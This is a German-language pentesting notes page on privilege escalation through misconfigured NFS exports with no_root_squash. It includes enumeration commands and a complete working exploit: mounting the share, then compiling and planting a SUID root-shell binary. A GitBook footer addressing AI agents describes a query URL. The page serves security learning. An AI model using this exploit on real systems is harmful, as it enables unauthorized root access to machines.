> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/nfs-shares.md).

# NFS-Freigaben

Fehlkonfigurierte NFS-Exporte können eine lokale Privilegieneskalation ermöglichen, wenn eine beschreibbare Freigabe mit gefährlichen Optionen wie `no_root_squash` exportiert wird. In diesem Fall kann root auf der Angreifer-Maschine Dateien auf der Freigabe erstellen, die beim Zugriff vom Zielsystem aus den root-Besitz beibehalten.

## Methodik

* Enumerieren Sie NFS-Exporte vom Zielsystem und von der Angreifer-Maschine aus.
* Suchen Sie nach beschreibbaren Freigaben und gefährlichen Exportoptionen wie `no_root_squash` oder `no_all_squash`.
* Mounten Sie die Freigabe von einer Angreifer-Maschine aus und erstellen Sie den kleinsten SUID-Proof-of-Concept, der zur Validierung der Auswirkung erforderlich ist.

## Schnellprüfungen

Auf dem Zielsystem:

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

Von einer Angreifer-Maschine aus:

```bash
showmount -e target_ip
```

## Gefährliche Exportoptionen

| Option                | Risiko                                                                                                |
| --------------------- | ----------------------------------------------------------------------------------------------------- |
| `no_root_squash`      | Remote-root kann bei Dateien, die innerhalb des Exports erstellt werden, den root-Besitz beibehalten. |
| `rw`                  | Ermöglicht das Schreiben in die exportierte Freigabe.                                                 |
| `no_all_squash`       | Benutzer können ihr ursprüngliches UID/GID-Mapping beibehalten.                                       |
| Große Client-Bereiche | Mehr Hosts können den Export einhängen und mit ihm interagieren.                                      |

## Ausnutzungsmuster

Auf der Angreifer-Maschine:

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

Auf dem Zielsystem:

```bash
/shared/folder/privesc
```

## Validierungshinweise

```bash
ls -la /shared/folder/privesc
id
```

Wenn das Binärprogramm nicht root gehört oder das SUID-Bit nicht erhalten bleibt, macht der Export wahrscheinlich root-Squashing oder wurde mit restriktiven Optionen eingehängt.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/nfs-shares.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
